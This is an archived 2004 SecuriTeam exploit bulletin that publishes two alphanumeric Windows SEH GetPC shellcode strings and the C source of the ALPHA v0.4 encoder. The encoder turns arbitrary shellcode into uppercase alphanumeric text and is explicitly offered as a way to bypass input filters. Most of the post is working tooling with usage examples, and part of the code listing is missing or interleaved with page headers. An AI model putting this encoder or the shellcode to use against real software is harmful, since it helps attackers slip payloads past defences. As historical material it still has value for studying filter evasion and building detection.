

# [EXPL] Alphanumeric GetPC Code and Shellcode Encoder-Decoder

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0086.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 01/29/04

To: list@securiteam.com

Date: 29 Jan 2004 16:08:17 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Alphanumeric GetPC Code and Shellcode Encoder-Decoder

---

## SUMMARY

Below are two GetPC codes, both are alphanumeric only, the second one is alphanumeric uppercase only.

In addition attached is an uppercase alphanumeric shellcode encoder/decoder, which can convert standard shellcode to uppercase alphanumeric only code and vice versa.

This enables encoding of virtually all shell code in alphanumeric form, to bypass certain filtering mechanisms.

## DETAILS

Alphanumeric GetPC:

```
"VTX630VXH49HHHPHYAAQhZYYYYAAQQDDd36FFFTXVj0PPTUPPa301089"
```

This code uses fs to get the current SEH address and overwrites it with a new SEH. Then it causes an exception, passing execution to the new SEH. This SEH can determine the location where the exception took place from the information provided about the exception by the OS. It then transfers

## Securiteam: [EXPL] Alphanumeric GetPC Code and Shellcode Encoder–Decoder

execution back, passing the location of the code along in %ecx. Should work 100% of the time.

Uppercase only alphanumeric GetPC:

```
"VTX630WTX638VXH49HHHPVX5AAQQP VX5YYYYYP5YYD5KKYAPTTX638TDDNVDDX4Z4A63861816"
```

This code will assume the start of the SEH chain is at the top of the stack and you have not used more than 65536 bytes of stack. (SEH @ 0xXXXXffe4 where XXXX is taken from %esp) The resulting address SHOULD point to the last SEH in the chain, which will be overwritten and then called by causing an exception, just like the "normal" SEH GetPC. Because this code assumes you have not used more than 65535 bytes of stack or fucked up %esp and because it hijacks the LAST SEH, (if an earlier SEH handles the exception, the code will not work!) this code will not work under some conditions.

Alphanumeric Shellcode Encoder/Decoder:

```
//alphanumeric_opcodes_defines.h
#ifndef _alphanumeric_opcodes_defines_
#define _alphanumeric_opcodes_defines_

// ALPHA NUMERIC OPCODES

#define XOR8_ "0" // xor a byte in memory with an 8 bit register
#define XOR32_ "1" // xor 32 bits in memory with a 32 bit register
#define XOR8_X_ "2" // xor an 8 bit register with a byte in memory
#define XOR32_X_ "3" // xor a 32 bit register with 32 bits in memory
#define XOR_AL_I_ "4" // xor the al register with a immediate byte
#define XOR_EAX_I_ "5" // xor the eax register with a immediate 32 bit
value
#define SS "6"
#define AAA "7"
#define CMP8_ "8" // cmp a byte in memory with an 8 bit register
#define CMP32_ "9" // xor 32 bits in memory with a 32 bit register

#define INC_ECX "A"
#define INC_EDX "B"
#define INC_EBX "C"
#define INC_ESP "D"
#define INC_EBP "E"
#define INC_ESI "F"
#define INC_EDI "G"

#define DEC_EAX "H"
#define DEC_ECX "I"
#define DEC_EDX "J"
#define DEC_EBX "K"
#define DEC_ESP "L"
#define DEC_EBP "M"
#define DEC_ESI "N"
```

```

#define DEC_EDI "O"

#define PUSH_EAX "P"
#define PUSH_ECX "Q"
#define PUSH_EDX "R"
#define PUSH_EBX "S"
#define PUSH_ESP "T"
#define PUSH_EBP "U"
#define PUSH_ESI "V"
#define PUSH_EDI "W"

#define POP_EAX "X"
#define POP_ECX "Y"
#define POP_EDX "Z"

// 8 BIT ALPHA NUMERIC PARAMETERS
#define DH_MEAX "0"
#define DH_MECX "1"
#define DH_MEDX "2"
#define DH_MEBX "3"
#define DH_MR_ "4" // 2nd param. is 1 byte (a combination of two
registers)
#define DH_MI_ "5" // 2nd param. is 32 bit immediate value
#define DH_MESI "6"
#define DH_MEDI "7"
#define BH_MEAX "8"
#define BH_MECX "9"

#define AL_MECX_O8_ "A"
#define AL_MEDX_O8_ "B"
#define AL_MEBX_O8_ "C"
#define AL_MESP_O8_ "D"
#define AL_MEBP_O8_ "E"
#define AL_MESI_O8_ "F"
#define AL_MEDI_O8_ "G"

#define CL_MEAX_O8_ "H"
#define CL_MECX_O8_ "I"
#define CL_MEDX_O8_ "J"
#define CL_MEBX_O8_ "K"
#define CL_MESP_O8_ "L"
#define CL_MEBP_O8_ "M"
#define CL_MESI_O8_ "N"
#define CL_MEDI_O8_ "O"

#define DL_MEAX_O8_ "P"
#define DL_MECX_O8_ "Q"
#define DL_MEDX_O8_ "R"
#define DL_MEBX_O8_ "S"
#define DL_MESP_O8_ "T"
#define DL_MEBP_O8_ "U"

```

## Securiteam: [EXPL] Alphanumeric GetPC Code and Shellcode Encoder–Decoder

```
#define DL_MESI_O8_ "V"
#define DL_MEDI_O8_ "W"

#define BL_MEAX_O8_ "X"
#define BL_MECX_O8_ "Y"
#define BL_MEDX_O8_ "Z"

// 32 BIT ALPHA NUMERIC PARAMETERS

#define ESI_MEAX "0"
#define ESI_MECX "1"
#define ESI_MEDX "2"
#define ESI_MEBX "3"
#define ESI_MR_ "4" // 2nd param. is 1 byte (see below)
#define ESI_MI_ "5" // 2nd param. is 32 bit immediate value
#define ESI_MESI "6"
#define ESI_MEDI "7"
#define EDI_MEAX "8"
#define EDI_MECX "9"

// all the following have a 1 byte second parameter containing an offset
#define EAX_MECX_O8_ "A"
#define EAX_MEDX_O8_ "B"
#define EAX_MEBX_O8_ "C"
#define EAX_MESP_O8_ "D"
#define EAX_MEBP_O8_ "E"
#define EAX_MESI_O8_ "F"
#define EAX_MEDI_O8_ "G"

#define ECX_MEAX_O8_ "H"
#define ECX_MECX_O8_ "I"
#define ECX_MEDX_O8_ "J"
#define ECX_MEBX_O8_ "K"
#define ECX_MESP_O8_ "L"
#define ECX_MEBP_O8_ "M"
#define ECX_MESI_O8_ "N"
#define ECX_MEDI_O8_ "O"

#define EDX_MEAX_O8_ "P"
#define EDX_MECX_O8_ "Q"
#define EDX_MEDX_O8_ "R"
#define EDX_MEBX_O8_ "S"
#define EDX_MESP_O8_ "T"
#define EDX_MEBP_O8_ "U"
#define EDX_MESI_O8_ "V"
#define EDX_MEDI_O8_ "W"

#define EBX_MEAX_O8_ "X"
#define EBX_MECX_O8_ "Y"
#define EBX_MEDX_O8_ "Z"
```

## Securiteam: [EXPL] Alphanumeric GetPC Code and Shellcode Encoder–Decoder

```
// ALPHA NUMERIC SECOND PARAMETERS
```

```
#define MEAXESI "0"  
#define MECXESI "1"  
#define MEDXESI "2"  
#define MEBXESI "3"  
#define MESPESI "4"  
#define MESI_I32_ "5" // 3rd parameters is a 32 bit immediate value  
#define MESIESI "6"  
#define MEDIESI "7"  
#define MEAXEDI "8"  
#define MECXEDI "9"  
  
#define EAX_MECX_x2 "A"  
#define EAX_MEDX_x2 "B"  
#define EAX_MEBX_x2 "C"  
#define EAX_MESP_x2 "D"  
#define EAX_x2_I32_ "E" // 3rd parameters is a 32 bit immediate value  
#define EAX_MESI_x2 "F"  
#define EAX_MEDI_x2 "G"  
  
#define ECX_MEAX_x2 "H"  
#define ECX_MECX_x2 "I"  
#define ECX_MEDX_x2 "J"  
#define ECX_MEBX_x2 "K"  
#define ECX_MESP_x2 "L"  
#define ECX_x2_I32_ "M" // 3rd parameters is a 32 bit immediate value  
#define ECX_MESI_x2 "N"  
#define ECX_MEDI_x2 "O"  
  
#define EDX_MEAX_x2 "P"  
#define EDX_MECX_x2 "Q"  
#define EDX_MEDX_x2 "R"  
#define EDX_MEBX_x2 "S"  
#define EDX_MESP_x2 "T"  
#define EDX_x2_I32_ "U" // 3rd parameters is a 32 bit immediate value  
#define EDX_MESI_x2 "V"  
#define EDX_MEDI_x2 "W"  
  
#define EBX_MEAX_x2 "X"  
#define EBX_MECX_x2 "Y"  
#define EBX_MEDX_x2 "Z"  
#endif
```

```
//ALPHA_04.c
```

```
/*
```

```
 ,sSSs,,s, ALPHA v0.4 beta.
```

```
SS" Y$P"
```

```
iS' dY Capitalized alphanumeric shellcode encoding.
```

```
YS, dSb Copyright (C) 2004 by Berend–Jan Wever.
```

```
`"YSS"'S' < skylined@edup.tudelft.nl>
```

```

*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include "alphanumeric_opcodes_defines.h"

#define xorcode1 0x41
#define xorcode2 0x3f
#define IMUL "\x6b"
#define CONST_0x10 "\x10"
#define JNE "\x75"

//-----
struct baseaddress_options_struct {
    char* option; // name of option
    char* code; // the code
} baseaddress_options[] = {
// We're using "xor offset(%edx), %al" and similar instructions for xor-
// patching and decoding the original code to keep it all alphanumeric.
// %edx and %ecx must point to the baseaddress of the shellcode, we add
one of
// the following pieces of code to set the %ecx and %edx register.
// Since offset must be at least 0x30, we can't patch any instructions
before
// baseaddress+0x30 without tricks. We could offcourse just add padding
but
// then we'd have useless bytes in our decoder taking up space. We can
also
// lower %edx and %ecx to reach these otherwise unreachable
instructions: The
// "dec %edx" and "dec %ecx" instructions combine padding and decreasing
to
// reduce the size of the decoder.
{ "eax", PUSH_EAX POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX
DEC_EDX
    PUSH_EDX POP_ECX },
{ "ebx", PUSH_EBX POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX
DEC_EDX
    PUSH_EDX POP_ECX },
{ "ecx", DEC_ECX DEC_ECX DEC_ECX DEC_ECX DEC_ECX DEC_ECX
PUSH_ECX
    POP_EDX },
{ "edx", DEC_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX
PUSH_EDX
    POP_ECX },
{ "esp", PUSH_ESP POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX
DEC_EDX
    PUSH_EDX POP_ECX },
{ "ebp", PUSH_EBP POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX
DEC_EDX

```

Securiteam: [EXPL] Alphanumeric GetPC Code and Shellcode Encoder–Decoder

```
    PUSH_EDX POP_ECX },
    { "esi", PUSH_ESI POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX
DEC_EDX
    PUSH_EDX POP_ECX },
    { "edi", PUSH EDI POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX
DEC_EDX
    PUSH_EDX POP_ECX },
    { "[esp-8]", DEC_ESP DEC_ESP DEC_ESP DEC_ESP DEC_ESP DEC_ESP
DEC_ESP
    DEC_ESP POP_EDX DEC_EDX PUSH_EDX POP_ECX },
    { "[esp-4]", DEC_ESP DEC_ESP DEC_ESP DEC_ESP POP_EDX DEC_EDX
DEC_EDX
    DEC_EDX PUSH_EDX POP_ECX },
    { "[esp]", POP_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX DEC_EDX
PUSH_EDX
    POP_ECX },
    { "[esp+4]", INC_ESP INC_ESP INC_ESP INC_ESP POP_EDX DEC_EDX
DEC_EDX
    DEC_EDX PUSH_EDX POP_ECX },
    { "[esp+8]", INC_ESP INC_ESP INC_ESP INC_ESP INC_ESP INC_ESP
INC_ESP
    INC_ESP POP_EDX DEC_EDX PUSH_EDX POP_ECX },
    { NULL, NULL }
};
```

```
char* decoder_allowed_chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
// 'Z' terminates decoding and is thus not allowed in the encoded data.
char* encoded_allowed_chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
// Taken from the win32 SEH GetPC project. This code uses fs to get the
current
// SEH address and overwrites it with a new SEH. Then it causes an
exception,
// passing execution to the new SEH. This SEH can determine the location
where
// the exception took place from the information provided about the
exception.
// It then transfers execution back to the code behind the exception,
passing
// the location of that code along in %ecx. Should work 100% of the time.
char* w32SEHGetPC_code =
    "VTX630VXH49HHHPHYAAQhZYYYYYAAQQDDd36FFFfTXVj0PPTUPPa301089";
// The uppercase version of this code can not use %fs. It will assume the
start
// of the SEH chain is at the top of the stack and you have not used more
then
// 65536 bytes of stack. It will take %esp and set the lower two bytes to
// 0xffe4. The resulting address SHOULD point to the last SEH in the
chain,
// which it will overwrite and call similar to the "normal" win32 SEH
GetPC.
// Remember that it hijacks the LAST SEH, if an earlier SEH handles the
```

## Securiteam: [EXPL] Alphanumeric GetPC Code and Shellcode Encoder–Decoder

// exception, the code will not work! Should work 99.9% of the time.

char\* w32SEHGetPC\_uppercase\_code =

"VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYYP5YYDD5KKYAPTXX638TDDNVDDX4Z4A63861816"

-----

char\* decoder\_code\_skeleton =

// Assume %edx = %ecx = baseaddress – baseaddress\_adjust (see above)

// Get a 0x0 in a register

-----  
PUSH\_ESI // %esi = 0x0  
PUSH\_ESP  
POP\_EAX  
SS XOR32\_X\_ESI\_MEAX // xor %ss:(%eax), %esi

// XOR–patching

-----  
PUSH\_ESI  
POP\_EAX  
XOR\_AL\_I\_ "A" // al = xorcode1  
// decode 0x10 for imul instruction  
XOR8\_AL\_MEDX\_O8\_ "a" // xor %al, offset\_0x10(%edx)  
// decode 0x6b for imul instruction  
DEC\_EAX DEC\_EAX // %al = xorcode2 (space saver ;)  
XOR8\_AL\_MEDX\_O8\_ "b" // xor %al, offset\_imul(%edx)  
// decode 0x75 for jne instruction  
XOR8\_AL\_MEDX\_O8\_ "c" // xor %al, offset\_jne(%edx)

// The "c"(+1) also marks beginning of the decoder loop!

// Decode byte1 into low nibble

-----  
// Read  
PUSH\_ESI // %eax = 0x0  
POP\_EAX  
XOR8\_X\_AL\_MEDX\_O8\_ "#" // xor bufferoffset(%edx), %al  
(byte1)  
INC\_EDX  
// Decode  
DEC\_EAX // %al--  
(byte1–1)  
XOR\_AL\_I\_ "\x41" // %al ^=0x41  
(lownibble)  
// Store  
XOR8\_X\_AL\_MECX\_O8\_ "#" // xor bufferoffset(%ecx), %al  
XOR8\_AL\_MECX\_O8\_ "#" // xor %al, bufferoffset(%ecx)

// Decode byte2 into high nibble

-----  
// Read and decode in one ;) imul \$0x10, bufferoffset(%edx),



## Securiteam: [EXPL] Alphanumeric GetPC Code and Shellcode Encoder–Decoder

```
shellcode can get it's baseaddress from with the -r, -w or -W
options.\n
\n
Options:\n
-c CHARACTER STRING Specify a set of preferred characters,
the\n
        encoded data will contain as many of
these\n
        characters as possible. You can even
supply\n
        lowercase and non-alphanumeric
characters.\n
-b REGISTER|STACK LOCATION Specify the register or stack location that
will\n
        contain the baseaddress. Accepted values
are:\n
        eax, ebx, ecx, edx, esi, edi, esp, ebp,
[esp-8],\n
        [esp-4], [esp], [esp+4], [esp+8]\n
-w, -W Add code to calculate the baseaddress using
the\n
        Structured Exception Handler (SEH). This
only\n
        works on Microsoft Windows operating
systems.\n
The -w options adds code that will always
work \n
        but has lowercase characters in it. The
-W\n
        option adds code that will work 99%% of the
time\n
        but is 100%% uppercase. See source code
for\n
        details.\n
\n
Examples:\n
cat shellcode | %s -b eax > encoded_shellcode\n
cat shellcode | %s -w | encoded_win32_shellcode\n
cat shellcode | %s -b [esp-4] -c abcdefghijklmnopqrstuvwxyz >>
exploit\n
\n
", name, name, name, name);
}

char* find_baseaddress_code(char* option) {
    int i = 0;
    while(baseaddress_options[i].option) {
        if (strcasecmp(option, baseaddress_options[i].option) == 0 )
            return baseaddress_options[i].code;
        i++;
    }
}
```

## Securiteam: [EXPL] Alphanumeric GetPC Code and Shellcode Encoder–Decoder

```
fprintf_banner(stderr);
fprintf(stderr, "Error: baseaddress code for '%s' not found!\n",
option);
exit(-1);
}
```

```
//-----
int main(int argc, char* argv[], char* envp[]) {
    char *GetPC_code = "",
        *baseaddress_code = "",
        *decoder_code = "";
    int GetPC_code_size = 0,
        baseaddress_code_size = 0,
        decoder_code_size = 0;
    int original_code_size, encoded_data_size, total_size;

    extern char *optarg;
    int opt;

    int i;
    int input, lownibble, highnibble, lownibble_encoded,
    highnibble_encoded;

    int baseaddress_adjust;
    int offset_xor_patch_0x10, offset_0x10,
        offset_xor_patch_imul, offset_imul,
        offset_xor_patch_jne, offset_jne,
        offset_start_loop, offset_end_loop, offset_loop,
        offset_buffer;
    char *prefered_encode_chars = "";

    // Random seed
    struct timeval tv;
    struct timezone tz;
    gettimeofday(&tv, &tz);
    srand((int)tv.tv_sec*tv.tv_usec);

    // Parse command line arguments
    while ( (opt = getopt(argc, argv, "b:c:wW?")) != -1) {
        switch (opt) {
            case 'b':
                // baseaddress
                baseaddress_code = find_baseaddress_code(optarg);
                break;
            case 'c':
                // prefered characters
                prefered_encode_chars = optarg;
                // 'Z' terminates decoding and is thus never allowed.
                if (strchr(prefered_encode_chars, 'Z') != 0 ) {
                    fprintf_banner(stderr);
                    fprintf(stderr, "Error: allowed characters cannot contain
```

```
'Z'.\n");
    exit(-1);
}
break;
case 'w':
    // add Windows SEH GetPC code
    GetPC_code = w32SEHGetPC_code;
    baseaddress_code = find_baseaddress_code("ecx");
break;
case 'W':
    // add uppercase Windows SEH GetPC code
    GetPC_code = w32SEHGetPC_uppercase_code;
    baseaddress_code = find_baseaddress_code("ecx");
break;
case '?':
    fprintf_banner(stdout);
    fprintf_usage(stdout, argv[0]);
    exit(0);
}
}
// Calculate size of sme parts of the code and create a writeable
// copy of the decoder.
GetPC_code_size = strlen(GetPC_code);
baseaddress_code_size = strlen(baseaddress_code);
decoder_code_size = strlen(decoder_code_skeleton);
decoder_code = (char*)malloc(decoder_code_size);
strcpy(decoder_code, decoder_code_skeleton);

// Check if required information was provided on the command–line
if (baseaddress_code_size==0) {
    fprintf_banner(stderr);
    fprintf_usage(stderr, argv[0]);
    exit(-1);
}

baseaddress_adjust = 0;
for(i=0; i< baseaddress_code_size; i++)
    if (baseaddress_code[i] == *DEC_EDX ||
        baseaddress_code[i] == *DEC_ECX )
        baseaddress_adjust++;

// Calculate some offsets and set them in the decoder
offset_xor_patch_0x10 = (int)strchr(decoder_code, 'a') –
(int)decoder_code;
offset_xor_patch_imul = (int)strchr(decoder_code, 'b') –
(int)decoder_code;
offset_xor_patch_jne = (int)strchr(decoder_code, 'c') –
(int)decoder_code;
offset_start_loop = offset_xor_patch_jne+1;
offset_imul = (int)strchr(decoder_code, *IMUL) –
(int)decoder_code;
```

## Securiteam: [EXPL] Alphanumeric GetPC Code and Shellcode Encoder–Decoder

```
offset_0x10 = (int)strchr(decoder_code, 0x10) –
(int)decoder_code;
offset_jne = (int)strchr(decoder_code, *JNE) –
(int)decoder_code;
offset_buffer = offset_jne+1;
offset_end_loop = offset_jne+2;

// The code needs to be xor_patched to be alpha numeric
decoder_code[offset_0x10] ^= xorcode1;
decoder_code[offset_imul] ^= xorcode2;
decoder_code[offset_jne] ^= xorcode2;

// The xor_patches need to know the offset where to patch the code.
decoder_code[offset_xor_patch_0x10] = (char)(baseaddress_code_size
+ offset_0x10 +
baseaddress_adjust);
decoder_code[offset_xor_patch_imul] = (char)(baseaddress_code_size
+ offset_imul +
baseaddress_adjust);
decoder_code[offset_xor_patch_jne] = (char)(baseaddress_code_size
+ offset_jne +
baseaddress_adjust);

// A lot of instructions in the decoder need the offset of the buffer
from
// the start of the code, adjusted for the "dec %edx" optimization.
while (strchr( decoder_code, '#' ) != 0) {
    *(char*)strchr( decoder_code, '#' ) = (char)(baseaddress_code_size
+ offset_buffer
+ baseaddress_adjust);
}

// The "jne" loop has a negative offset, which is not alphanumeric. But
// since the decoder has already decoded the first byte before the jne
// is reached, we can encode it as if it was part of the shellcode.
offset_loop = offset_start_loop – offset_end_loop;
lownibble = (offset_loop & 0xf);
highnibble = (offset_loop & 0xf0) >>4;
lownibble_encoded = (lownibble ^ 0x41) + 1;
lownibble_encoded = (lownibble ^ 0x41) + 1;
highnibble_encoded = (highnibble == 0x0 ? 0x50 : highnibble+0x40);
decoder_code[offset_buffer] = (char)lownibble_encoded;
decoder_code[offset_buffer+1] = (char)highnibble_encoded;

// Check decoder for bad characters:
for (i=0;i< strlen(decoder_code);i++)
    if (!strchr(decoder_allowed_chars, decoder_code[i])) {
        fprintf(stderr, "Build error: The decoder contains bad
characters!\n"
            "byte #%d: 0x%02x\n", i, (unsigned
int)decoder_code[i]);
```

## Securiteam: [EXPL] Alphanumeric GetPC Code and Shellcode Encoder–Decoder

```
    exit(-1);
}

// Output GetPC_code, baseaddress_code and decoder_code:
printf("%s%s%s", GetPC_code, baseaddress_code, decoder_code);

// Output encoded shellcode:
original_code_size = 0;
encoded_data_size = 2;
while ((input = getchar()) != EOF) {
    original_code_size++;
    encoded_data_size+=2;
    lownibble = (input & 0x0f);
    highnibble = (input & 0xf0) >> 4;
    lownibble_encoded = (lownibble ^ 0x41) + 1;

    // the upper 4 bits of highnibble are discarded during decoding, so
    you can
    // put anything in them as long as it's alphanumeric.
    i = rand() % strlen(encoded_allowed_chars);
    while((encoded_allowed_chars[i] & 0xf) != highnibble) {
        i++; i %= strlen(encoded_allowed_chars);
    }
    highnibble_encoded = encoded_allowed_chars[i];

    if (strlen(prefered_encode_chars) != 0) {
        for(i=0;i< strlen(prefered_encode_chars); i++) {
            if ((prefered_encode_chars[i] & 0xf) == highnibble) {
                highnibble_encoded = prefered_encode_chars[i];
                break;
            }
        }
    }

    printf("%c%c", lownibble_encoded, highnibble_encoded);
}
// Output end of data marker:
printf("Z");

fprintf_banner(stderr);
total_size = GetPC_code_size+baseaddress_code_size+decoder_code_size
            +encoded_data_size;
fprintf(stderr, "Original code : %d bytes.\n",
original_code_size);
if (GetPC_code_size > 0)
    fprintf(stderr, " GetPC code : %d bytes.\n",
GetPC_code_size);
fprintf(stderr, " Baseaddress code : %d bytes, baseaddress
adjustment= "
            "%d.\n", baseaddress_code_size, -baseaddress_adjust);
fprintf(stderr, " Decoder code : %d bytes.\n",
```

Securiteam: [EXPL] Alphanumeric GetPC Code and Shellcode Encoder–Decoder

```
decoder_code_size);
    fprintf(stderr, " Encoded data : %d bytes.\n",
encoded_data_size);
    fprintf(stderr, "Total resulting code : %d bytes (%.0f%% of
original).\n",
        total_size, (double)100*total_size/original_code_size);
    return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:SkyLined@edup.tudelft.nl>  
Berend–Jan Wever.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list–unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list–subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.